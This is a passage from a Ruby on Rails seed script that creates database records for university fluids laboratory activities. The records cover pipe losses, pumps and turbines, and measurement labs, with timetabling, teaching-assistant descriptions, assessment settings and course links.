mole_pub_link: \"https://tinyurl.com/y7wjrgm4\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a142.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a142.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a142.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a142.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a143 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"419\").first_or_create!(name: \"Major and Minor Losses\",\n name_abrv: \"MAJORMINOR\", archived: false, in_drive: true, user_id: 2)\n at143 = ActivityTimetable.where(activity_id: a143.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a143.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a143.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a143.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a143.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a143.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a144 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"419\").first_or_create!(name: \"Major and Minor Losses\",\n name_abrv: \"MAJORMINOR\", archived: false, in_drive: true, user_id: 5)\n at144 = ActivityTimetable.where(activity_id: a144.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a144.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/z4kbm44\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a144.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a144.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a144.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a144.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a145 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: true, user_id: 1)\n at145 = ActivityTimetable.where(activity_id: a145.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a145.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/npbx2ko\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a145.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a145.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a145.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a145.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a146 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: false, user_id: 3)\n at146 = ActivityTimetable.where(activity_id: a146.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a146.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ydd9x9tm\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a146.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a146.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a146.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a146.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a147 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode3\").first_or_create!(name: \"Measurement Lab\",\n name_abrv: \"MEASUREMENT\", archived: false, in_drive: true, user_id: 3)\n at147 = ActivityTimetable.where(activity_id: a147.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a147.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/pnm2bq4\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a147.id).first_or_create!(criteria: \"Basic understanding of hydrodynamics, flow measurement techniques and error/uncertainty\",\n job_desc:\"An introductory lab for first year undergraduate students. Helping students to use the hydraulic benches for the first time and to understand the concepts of error and uncertainty.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a147.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a147.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a148 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"415\").first_or_create!(name: \"Measurement lab plus\",\n name_abrv: \"DATAPLUS\", archived: false, in_drive: false, user_id: 3)\n at148 = ActivityTimetable.where(activity_id: a148.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a148.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya8awfxx\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a148.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a148.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a148.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a148.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a149 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: false, user_id: 1)\n at149 = ActivityTimetable.where(activity_id: a149.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a149.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/nojav7n\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a149.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a149.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a149.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a149.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a150 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: false, user_id: 3)\n at150 = ActivityTimetable.where(activity_id: a150.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a150.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yxswpben\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a150.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a150.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a150.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a150.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a151 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: true, user_id: 3)\n at151 = ActivityTimetable.where(activity_id: a151.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a151.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ovyq7rl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a151.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a151.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a151.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a151.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a152 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: true, user_id: 5)\n at152 = ActivityTimetable.where(activity_id: a152.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a152.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybo5vgmz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a152.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a152.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a152.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a152.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a153 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"417\").first_or_create!(name: \"Network of Pipes\",\n name_abrv: \"NETPIPES\", archived: false, in_drive: false, user_id: 2)\n at153 = ActivityTimetable.where(activity_id: a153.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 240, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a153.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yby2as9u\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a153.id).first_or_create!(criteria: \"Undertanding frictional losses in piping networks and hardy cross method for civil engineering students\",\n job_desc:\"Students are supplied with a network of pipes, in which the network layout and diameters of pipes can be altered. The flow through two outlet ports and pressure drop across all pipes can be recorded, and compared to the hardy cross method to predict the results.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a153.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a153.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a153.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a154 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"418\").first_or_create!(name: \"Open Channel Self Teach Lab\",\n name_abrv: \"FLUME\", archived: false, in_drive: true, user_id: 3)\n at154 = ActivityTimetable.where(activity_id: a154.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a154.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/oby5tq9\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a154.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a154.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a154.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a154.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a156 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: false, user_id: 5)\n at156 = ActivityTimetable.where(activity_id: a156.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a156.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y85r57gr\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a156.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a156.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a156.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a156.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a157 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 4)\n at157 = ActivityTimetable.where(activity_id: a157.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a157.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycc92c93\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a157.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a157.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a157.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a157.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a158 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 5)\n at158 = ActivityTimetable.where(activity_id: a158.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a158.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya868p4e\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a158.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a158.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a158.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a158.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a159 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 1)\n at159 = ActivityTimetable.where(activity_id: a159.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a159.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya7weqcq\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a159.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a159.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a159.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a159.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a160 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 3)\n at160 = ActivityTimetable.where(activity_id: a160.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a160.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y85b9e39\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a160.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a160.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a160.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a160.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a161 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 2)\n at161 = ActivityTimetable.where(activity_id: a161.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a161.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/gubsfc3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a161.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a161.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a161.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a161.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a162 = Activity.where(theme_id: $acme.id, uni_module_id: 